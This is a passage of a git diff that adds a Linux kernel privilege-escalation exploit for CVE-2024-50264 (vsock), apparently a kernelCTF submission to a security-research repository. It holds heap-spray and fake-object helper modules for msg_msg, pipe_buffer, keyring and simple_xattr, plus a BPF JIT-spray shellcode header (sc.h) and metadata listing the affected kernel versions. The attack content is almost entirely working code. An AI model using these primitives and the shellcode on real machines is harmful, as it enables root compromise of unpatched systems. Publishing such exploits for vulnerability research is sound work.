create_spec_keyring(KEYRING_TYPE_USER, payload, payload, objectsz); +} + +struct keyring_ret *read_keyring(key_serial_t ringid, uint64_t sz) +{ + struct keyring_ret *ret = malloc(sizeof(struct keyring_ret)); + ret->size = keyctl_read_alloc(ringid, (void **)&ret->data); +} + +void update_keyring(key_serial_t ringid, char *payload, uint64_t objectsz) +{ + if(keyctl_update(ringid, payload, objectsz) < 0) + perror("keyctl_update"); +} + +void remove_keyring(key_serial_t ringid) +{ + if(keyctl_revoke(ringid) < 0) + perror("keyctl_revoke"); +} + +struct user_key_payload *fake_keyring(void *rcu_next, void *func, uint16_t datalen, char *data) +{ + struct user_key_payload *payload = malloc(USER_KEY_PAYLOAD_SIZE + datalen); + payload->rcu.next = rcu_next; + payload->rcu.func = func; + payload->datalen = datalen; + memcpy(payload->data, data, datalen); + + return payload; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/keyring.h b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/keyring.h new file mode 100644 index 00000000..57e81642 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/keyring.h @@ -0,0 +1,65 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include + +#include +#include + +#ifndef MODULES_KEYRING +#define MODULES_KEYRING + +typedef int32_t key_serial_t; + +#ifndef MODULES_RCU_CALLBACK_HEAD +#define MODULES_RCU_CALLBACK_HEAD +struct callback_head { + struct callback_head *next; + void (*func)(struct callback_head *); +}; +#endif + +struct user_key_payload { + struct callback_head rcu; + short unsigned int datalen; + char data[]; +}; + +struct keyring_ret { + uint64_t size; + char *data; +}; + +#define KEYRING_TYPE_USER "user" +#define KEYRING_TYPE_KEYRING "keyring" +#define KEYRING_TYPE_LOGON "logon" +#define KEYRING_TYPE_BIGKEY "big_key" + +#define USER_KEY_PAYLOAD_SIZE (sizeof(struct user_key_payload)) +#define KEYRING_KMALLOC_32 (0x20 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_64 (0x40 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_96 (0x60 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_128 (0x80 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_256 (0x100 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_512 (0x200 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_1k (0x400 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_2k (0x800 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_4k (0x1000 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_8k (0x2000 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_16k (0x4000 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_32k (0x8000 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_64k (0x10000 - USER_KEY_PAYLOAD_SIZE) + +key_serial_t create_keyring(char *type, char *description, char *payload, uint64_t objectsz, key_serial_t ringid); +key_serial_t create_spec_keyring(char *type, char *description, char *payload, uint64_t objectsz); +key_serial_t create_simple_keyring(char *payload, uint64_t objectsz); + +struct keyring_ret *read_keyring(key_serial_t ringid, uint64_t sz); +void update_keyring(key_serial_t ringid, char *payload, uint64_t objectsz); +void remove_keyring(key_serial_t ringid); + +struct user_key_payload *fake_keyring(void *rcu_next, void *func, uint16_t datalen, char *data); +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/msg_msg.c b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/msg_msg.c new file mode 100644 index 00000000..6d7e0a39 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/msg_msg.c @@ -0,0 +1,113 @@ +// https://github.com/qwerty-po/kernel_exploit_modules/keyring.c + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include "msg_msg.h" + +#define DEBUG 0 + +int alloc_msg_queue(void) +{ + int msqid = msgget(IPC_PRIVATE, IPC_CREAT | 0666); + if (msqid == -1) + perror("msgget"); + return msqid; +} + +void insert_msg_msg(int msqid, int64_t mtype, uint64_t objectsz, uint64_t msgsz, char *mtext) +{ + assert(msgsz <= objectsz); + struct msg *msg = (struct msg *)calloc(MSG_HEADER_SIZE + objectsz, 1); + + msg->m_type = mtype; + // in kernel, data will fill at [0x30, msgsz-MSG_MSG_HEADER_SIZE) + memset(msg->m_text, '\xbf', objectsz); + memcpy(msg->m_text, mtext, msgsz); + + if (msgsnd(msqid, msg, objectsz, 0) < 0) + perror("msgsnd"); +} + +char *read_msg_msg(int msqid, int64_t mtype, uint64_t msgsz) +{ + struct msg *buf = (struct msg *)calloc(MSG_HEADER_SIZE + msgsz, 1); + uint64_t len = 0; + if ((len = msgrcv(msqid, buf, msgsz, mtype, 0)) < 0) + perror("msgrcv"); + char *target = (char *)calloc(len, 1); + memcpy(target, buf->m_text, len); + return target; +} + +void release_msg_msg(int msqid, int64_t mtype) +{ + read_msg_msg(msqid, mtype, MSG_MSG_KMALLOC_CG_4k); +} + +void insert_msg_msgseg(int msqid, int64_t mtype, uint64_t objectsz, uint64_t msgsz, char *mtext) +{ + assert(msgsz <= objectsz); + struct msg *msg = (struct msg *)calloc(MSG_HEADER_SIZE + MSG_MSG_KMALLOC_CG_4k + objectsz, 1); + + msg->m_type = mtype; + // in kernel, data will fill at [0x30, 4k) -> kmalloc-4k + // [0x8, msgsz) -> target slab + memset(msg->m_text, '\xbf', MSG_MSG_KMALLOC_CG_4k + objectsz); + memcpy(msg->m_text + MSG_MSG_KMALLOC_CG_4k, mtext, msgsz); + + #if DEBUG + printf("insert_msg_msgseg: msgsz: 0x%lx\n", MSG_MSG_KMALLOC_CG_4k + objectsz); + #endif + + + if (msgsnd(msqid, msg, MSG_MSG_KMALLOC_CG_4k + objectsz, IPC_NOWAIT) < 0) + perror("msgsnd"); +} + +char *read_msg_msgseg(int msqid, int64_t mtype, uint64_t objectsz) +{ + struct msg *msg = (struct msg *)calloc(MSG_HEADER_SIZE + MSG_MSG_KMALLOC_CG_4k + objectsz, 1); + if (msgrcv(msqid, msg, MSG_MSG_KMALLOC_CG_4k + objectsz, mtype, IPC_NOWAIT) < 0) + perror("msgrcv"); + + char *target = (char *)calloc(objectsz, 1); + memcpy(target, msg->m_text + MSG_MSG_KMALLOC_CG_4k, objectsz); + return target; +} + +void release_msg_msgseg(int msqid, int64_t mtype) +{ + read_msg_msgseg(msqid, mtype, MSG_MSG_KMALLOC_CG_4k + MSG_MSGSEG_KMALLOC_CG_4k); +} + +struct msg_msg *fake_msg_msg(struct list_head *list_next, struct list_head *list_prev, int64_t mtype, int m_ts, void *next, char *mtext, uint64_t datalen) +{ + struct msg_msg *msg = (struct msg_msg *)calloc(MSG_MSG_HEADER_SIZE + datalen, 1); + msg->m_list.next = list_next; + msg->m_list.prev = list_prev; + msg->m_type = mtype; + msg->m_ts = m_ts; + msg->next = next; + memcpy(msg->m_text, mtext, datalen); + + return msg; +} + +struct msg_msgseg *fake_msg_msgseg(struct msg_msgseg *next, char *mtext, uint64_t datalen) +{ + struct msg_msgseg *msgseg = (struct msg_msgseg *)calloc(MSG_MSGSEG_HEADER_SIZE + datalen, 1); + msgseg->next = next; + memcpy(msgseg->m_text, mtext, datalen); + + return msgseg; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/msg_msg.h b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/msg_msg.h new file mode 100644 index 00000000..0f0c6e34 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/msg_msg.h @@ -0,0 +1,75 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include +#include + +#ifndef MODULES_LIST_HEAD +#define MODULES_LIST_HEAD +struct list_head { + struct list_head *next, *prev; +}; +#endif + +#ifndef MODULES_MSG_MSG +#define MODULES_MSG_MSG +struct msg_msg{ + struct list_head m_list; + int64_t m_type; + int m_ts; + struct msg_msgseg *next; + void *security; + char m_text[]; +}; + +struct msg_msgseg { + struct msg_msgseg *next; + char m_text[]; +}; + +struct msg { + int64_t m_type; + char m_text[]; +}; + +#define MSG_HEADER_SIZE sizeof(struct msg) +#define MSG_MSG_HEADER_SIZE sizeof(struct msg_msg) +#define MSG_MSGSEG_HEADER_SIZE sizeof(struct msg_msgseg) + +#define MSG_MSG_KMALLOC_CG_64 (0x40 - MSG_MSG_HEADER_SIZE) +#define MSG_MSG_KMALLOC_CG_128 (0x80 - MSG_MSG_HEADER_SIZE) +#define MSG_MSG_KMALLOC_CG_192 (0xc0 - MSG_MSG_HEADER_SIZE) +#define MSG_MSG_KMALLOC_CG_256 (0x100 - MSG_MSG_HEADER_SIZE) +#define MSG_MSG_KMALLOC_CG_512 (0x200 - MSG_MSG_HEADER_SIZE) +#define MSG_MSG_KMALLOC_CG_1k (0x400 - MSG_MSG_HEADER_SIZE) +#define MSG_MSG_KMALLOC_CG_2k (0x800 - MSG_MSG_HEADER_SIZE) +#define MSG_MSG_KMALLOC_CG_4k (0x1000 - MSG_MSG_HEADER_SIZE) + +#define MSG_MSGSEG_KMALLOC_CG_16 (0x10 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_32 (0x20 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_64 (0x40 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_128 (0x80 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_192 (0xc0 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_256 (0x100 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_512 (0x200 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_1k (0x400 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_2k (0x800 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_4k (0x1000 - MSG_MSGSEG_HEADER_SIZE) + +int alloc_msg_queue(void); + +void insert_msg_msg(int msqid, int64_t mtype, uint64_t objectsz, uint64_t msgsz, char *mtext); +char *read_msg_msg(int msqid, int64_t mtype, uint64_t msgsz); +void release_msg_msg(int msqid, int64_t mtype); + +void insert_msg_msgseg(int msqid, int64_t mtype, uint64_t objectsz, uint64_t msgsz, char *mtext); +char *read_msg_msgseg(int msqid, int64_t mtype, uint64_t msgsz); +void release_msg_msgseg(int msqid, int64_t mtype); + +struct msg_msg *fake_msg_msg(struct list_head *list_next, struct list_head *list_prev, int64_t mtype, int m_ts, void *next, char *mtext, uint64_t datalen); +struct msg_msgseg *fake_msg_msgseg(struct msg_msgseg *next, char *mtext, uint64_t datalen); +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/pipe.c b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/pipe.c new file mode 100644 index 00000000..59d98374 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/pipe.c @@ -0,0 +1,109 @@ +// https://github.com/qwerty-po/kernel_exploit_modules/msg_msg.c + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "pipe.h" +#include "helper.h" + +#define DEBUG 0 + +struct pipeio *create_pipeio(void) +{ + struct pipeio *pio = (struct pipeio *)calloc(sizeof(struct pipeio), 1); + if(pipe((int *)&pio->pipe) < 0) + perror("pipe alloc"); + + #if DEBUG + printf("pipe readfd: %d\n", pio->pipe.readfd); + printf("pipe writefd: %d\n", pio->pipe.writefd); + #endif + + pio->is_ops_activated = false; + + return pio; +} + +void activate_ops(struct pipeio *pipe) +{ + char buf[0x10]; + + if(write(pipe->pipe.writefd, "A", 1) < 0) + perror("pipe write & activate ops"); + pipe->is_ops_activated = true; +} + +void resize_pipe(struct pipeio *pipe, uint64_t objectsz) +{ + #if DEBUG + printf("pipe writefd: %d\n", pipe->pipe.writefd); + #endif + + if(fcntl(pipe->pipe.writefd, F_SETPIPE_SZ, objectsz) < 0) + perror("pipe resize"); +} + +void read_pipe(struct pipeio *pipe, char *buf, uint64_t size) +{ + if(read(pipe->pipe.readfd, buf, size) < 0) + perror("pipe read"); +} + +void write_pipe(struct pipeio *pipe, char *buf, uint64_t size) +{ + if(write(pipe->pipe.writefd, buf, size) < 0) + perror("pipe write"); + else + pipe->is_ops_activated = true; +} + +void release_pipe(struct pipeio *pipe) +{ + if(!pipe) + return; + close(pipe->pipe.readfd); + close(pipe->pipe.writefd); + free(pipe); +} + +void trigger_ops_release(struct pipeio *pipe) +{ + if(!pipe->is_ops_activated) + printf("trigger_ops_release: ops not activated\n"); + else + { + close(pipe->pipe.readfd); + close(pipe->pipe.writefd); + } +} + +struct pipe_buffer *fake_pipe_buffer(struct page *page, uint32_t offset, uint32_t len, void *ops, uint32_t flags, unsigned long private_v) +{ + struct pipe_buffer *pb = (struct pipe_buffer *)calloc(sizeof(struct pipe_buffer), 1); + pb->page = page; + pb->offset = offset; + pb->len = len; + pb->ops = ops; + pb->flags = flags; + pb->private_v = private_v; + + return pb; +} + +struct pipe_buf_operations *fake_pipe_buf_ops(void *release) +{ + struct pipe_buf_operations *pbo = (struct pipe_buf_operations *)calloc(sizeof(struct pipe_buf_operations), 1); + pbo->release = release; + + return pbo; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/pipe.h b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/pipe.h new file mode 100644 index 00000000..b136ead5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/pipe.h @@ -0,0 +1,91 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include + +#include + +#ifndef MODULES_PIPE +#define MODULES_PIPE + +struct pipe_inode_info { + struct pipe_buffer *bufs; + unsigned long nrbufs, curbuf; +}; + +struct pipe_buffer; +struct pipe_buf_operations { + /* + * ->confirm() verifies that the data in the pipe buffer is there + * and that the contents are good. If the pages in the pipe belong + * to a file system, we may need to wait for IO completion in this + * hook. Returns 0 for good, or a negative error value in case of + * error. If not present all pages are considered good. + */ + int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); + + /* + * When the contents of this pipe buffer has been completely + * consumed by a reader, ->release() is called. + */ + void (*release)(struct pipe_inode_info *, struct pipe_buffer *); + + /* + * Attempt to take ownership of the pipe buffer and its contents. + * ->try_steal() returns %true for success, in which case the contents + * of the pipe (the buf->page) is locked and now completely owned by the + * caller. The page may then be transferred to a different mapping, the + * most often used case is insertion into different file address space + * cache. + */ + bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *); + + /* + * Get a reference to the pipe buffer. + */ + bool (*get)(struct pipe_inode_info *, struct pipe_buffer *); +}; + +struct pipe_buffer { + struct page *page; + unsigned int offset, len; + const struct pipe_buf_operations *ops; + unsigned int flags; + unsigned long private_v; +}; + +struct pipeio { + struct { + int readfd, writefd; + } pipe; + bool is_ops_activated; +}; + +#define PIPE_BUFFER_KMALLOC_CG_64 (PAGE_SIZE) +#define PIPE_BUFFER_KMALLOC_CG_192 (PAGE_SIZE * 4) +#define PIPE_BUFFER_KMALLOC_CG_512 (PAGE_SIZE * 8) +#define PIPE_BUFFER_KMALLOC_CG_1k (PAGE_SIZE * 16) +#define PIPE_BUFFER_KMALLOC_CG_2k (PAGE_SIZE * 32) +#define PIPE_BUFFER_KMALLOC_CG_4k (PAGE_SIZE * 64) +#define PIPE_BUFFER_KMALLOC_CG_8k (PAGE_SIZE * 128) +#define PIPE_BUFFER_KMALLOC_CG_16k (PAGE_SIZE * 256) +#define PIPE_BUFFER_KMALLOC_CG_32k (PAGE_SIZE * 512) +#define PIPE_BUFFER_KMALLOC_CG_64k (PAGE_SIZE * 1024) + +struct pipeio *create_pipeio(void); + +void activate_ops(struct pipeio *pipe); +void resize_pipe(struct pipeio *pipe, uint64_t objectsz); +void read_pipe(struct pipeio *pipe, char *buf, uint64_t size); +void write_pipe(struct pipeio *pipe, char *buf, uint64_t size); +void release_pipe(struct pipeio *pipe); + +void trigger_ops_release(struct pipeio *pipe); + +struct pipe_buffer *fake_pipe_buffer(struct page *page, uint32_t offset, uint32_t len, void *ops, uint32_t flags, unsigned long private_v); +struct pipe_buf_operations *fake_pipe_buf_ops(void *release); +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/xattr.c b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/xattr.c new file mode 100644 index 00000000..c32429cf --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/xattr.c @@ -0,0 +1,106 @@ +// https://github.com/qwerty-po/kernel_exploit_modules/xattr.c + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include "xattr.h" +#include "helper.h" + +char *gen_xattr_name(char *prefix, char *name) +{ + assert(prefix[strlen(prefix) - 1] == '.'); + char *xattr_name = (char *)calloc(strlen(prefix) + strlen(name) + 1, 1); + strcpy(xattr_name, prefix); + strcat(xattr_name, name); + return xattr_name; +} + +char *gen_xattr_name_fixed_sz(char *prefix, char *name, size_t sz) +{ + assert(prefix[strlen(prefix) - 1] == '.'); + char *xattr_name = (char *)calloc(strlen(prefix) + strlen(name) + sz, 1); + strcpy(xattr_name, prefix); + strcat(xattr_name, name); + memset(xattr_name + strlen(xattr_name), 'A', sz - 1 - strlen(xattr_name)); + name[sz-1] = '\0'; + return xattr_name; +} + +int create_xattr(char *fname, char *name, char *value, uint64_t objectsz, bool panic_on_warn) +{ + int err = 0; + if((err = setxattr(fname, name, value, objectsz, 0)) < 0) + { + if(panic_on_warn) + panic("setxattr"); + else + perror("setxattr"); + } + + return err; +} + +struct xattr_return *read_xattr(char *fname, char *name) +{ + struct xattr_return *ret = (struct xattr_return *)calloc(sizeof(struct xattr_return), 1); + + ret->value = (char *)calloc(0x10000, 1); + if((ret->size = getxattr(fname, name, ret->value, 0x10000)) < 0) + perror("getxattr"); + return ret; +} + +int remove_xattr(char *fname, char *name, bool panic_on_warn) +{ + int err = 0; + if((err = removexattr(fname, name)) < 0) + { + if(panic_on_warn) + panic("removexattr"); + else + perror("removexattr"); + } + return err; +} + +void remove_xattr_noerror(char *fname, char *name) +{ + removexattr(fname, name); +} + +#if MODULES_CONFIG_IS_XATTR_RBTREE +struct simple_xattr *fake_xattr(bool color, struct rb_node *parent, struct rb_node *right, struct rb_node *left, char *name, size_t size, char *value, uint64_t valuesz) +{ + struct simple_xattr *xattr = (struct simple_xattr *)calloc(sizeof(struct simple_xattr) + valuesz, 1); + xattr->rb_node.__rb_parent_color = (uint64_t)parent | color; + xattr->rb_node.rb_right = right; + xattr->rb_node.rb_left = left; + xattr->name = name; + xattr->size = size; + memcpy(xattr->value, value, valuesz); + + return xattr; +} +#else +struct simple_xattr *fake_xattr(struct list_head *next, struct list_head *prev, char *name, size_t size, char *value, uint64_t valuesz) +{ + struct simple_xattr *xattr = (struct simple_xattr *)calloc(sizeof(struct simple_xattr) + valuesz, 1); + xattr->list.next = next; + xattr->list.prev = prev; + xattr->name = name; + xattr->size = size; + memcpy(xattr->value, value, valuesz); + + return xattr; +} +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/xattr.h b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/xattr.h new file mode 100644 index 00000000..197f7061 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/xattr.h @@ -0,0 +1,94 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include + +#include + +#ifndef MODULES_SIMPLE_XATTR +#define MODULES_SIMPLE_XATTR + +#define MODULES_CONFIG_IS_XATTR_RBTREE 1 + +#if MODULES_CONFIG_IS_XATTR_RBTREE + +#ifndef MODULES_RB_NODE +#define MODULES_RB_NODE + +#define RB_RED 0 +#define RB_BLACK 1 + +struct rb_node { + uint64_t __rb_parent_color; + struct rb_node *rb_right; + struct rb_node *rb_left; +}; +#endif + +struct simple_xattr { + struct rb_node rb_node; + char * name; + size_t size; + char value[]; +}; + +#else +#ifndef MODULES_LIST_HEAD +#define MODULES_LIST_HEAD +struct list_head { + struct list_head *next, *prev; +}; +#endif + +struct simple_xattr { + struct list_head list; + char * name; + size_t size; + char value[]; +}; + +#endif + +struct xattr_return { + uint64_t size; + char *value; +}; + +#define XATTR_HEADER_SIZE sizeof(struct simple_xattr) +#define XATTR_VALUE_KMALLOC_CG_64 (0x40 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_96 (0x60 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_128 (0x80 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_192 (0xc0 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_256 (0x100 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_512 (0x200 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_1K (0x400 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_2K (0x800 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_4K (0x1000 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_8K (0x2000 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_16K (0x4000 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_32K (0x8000 - XATTR_HEADER_SIZE) + +#define XATTR_PREFIX_USER "user." +#define XATTR_PREFIX_SYSTEM "system." +#define XATTR_PREFIX_TRUSTED "trusted." +#define XATTR_PREFIX_SECURITY "security." + +char *gen_xattr_name(char *prefix, char *name); +char *gen_xattr_name_fixed_sz(char *prefix, char *name, size_t sz); + +int create_xattr(char *fname, char *name, char *value, uint64_t objectsz, bool panic_on_warn); +struct xattr_return *read_xattr(char *fname, char *name); +int remove_xattr(char *fname, char *name, bool panic_on_warn); +void remove_xattr_noerror(char *fname, char *name); + +#if MODULES_CONFIG_IS_XATTR_RBTREE +struct simple_xattr *fake_xattr(bool color, struct rb_node *parent, struct rb_node *right, struct rb_node *left, char *name, size_t size, char *value, uint64_t valuesz); +#else +struct simple_xattr *fake_xattr(struct list_head *next, struct list_head *prev, char *name, size_t size, char *value, uint64_t valuesz); +#endif + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/sc.h b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/sc.h new file mode 100644 index 00000000..e3f59287 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/sc.h @@ -0,0 +1,51 @@ +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d0ff}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c14e7c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c70b740}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90ff31}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf02948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c20b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cb2b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c6eb640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c00b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c909058}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d0ff}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c909050}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9030b2}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d231}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c10e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ca0b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cd08948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf22948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cc0b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c7fb640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c45b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c02b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cd78948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf20148}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ca0b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c43b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c7bb640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c01b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cc20148}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ce2d348}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9020b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c931}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90320f}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9082b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c18e1c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c0b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d231}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c931}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/metadata.json b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/metadata.json new file mode 100755 index 00000000..06897f9c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/metadata.json @@ -0,0 +1,41 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids":[ + "exp196", + "exp197" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/vmw_vsock?id=6ca575374dd9a507cdd16dfa0e78c2e9e20bd05f", + "cve":"CVE-2024-50264", + "affected_versions":[ + "5.11 - 5.15.171", + "5.16 - 6.1.116", + "6.2 - 6.6.60" + ], + "requirements":{ + "attack_surface":[ + ], + "capabilities":[ + ], + "kernel_config":[ + "CONFIG_VSOCKETS", + "CONFIG_VSOCKETS_LOOPBACK" + ] + } + }, + "exploits": { + "lts-6.6.56": { + "uses":[ + ], + "requires_separate_kaslr_leak": 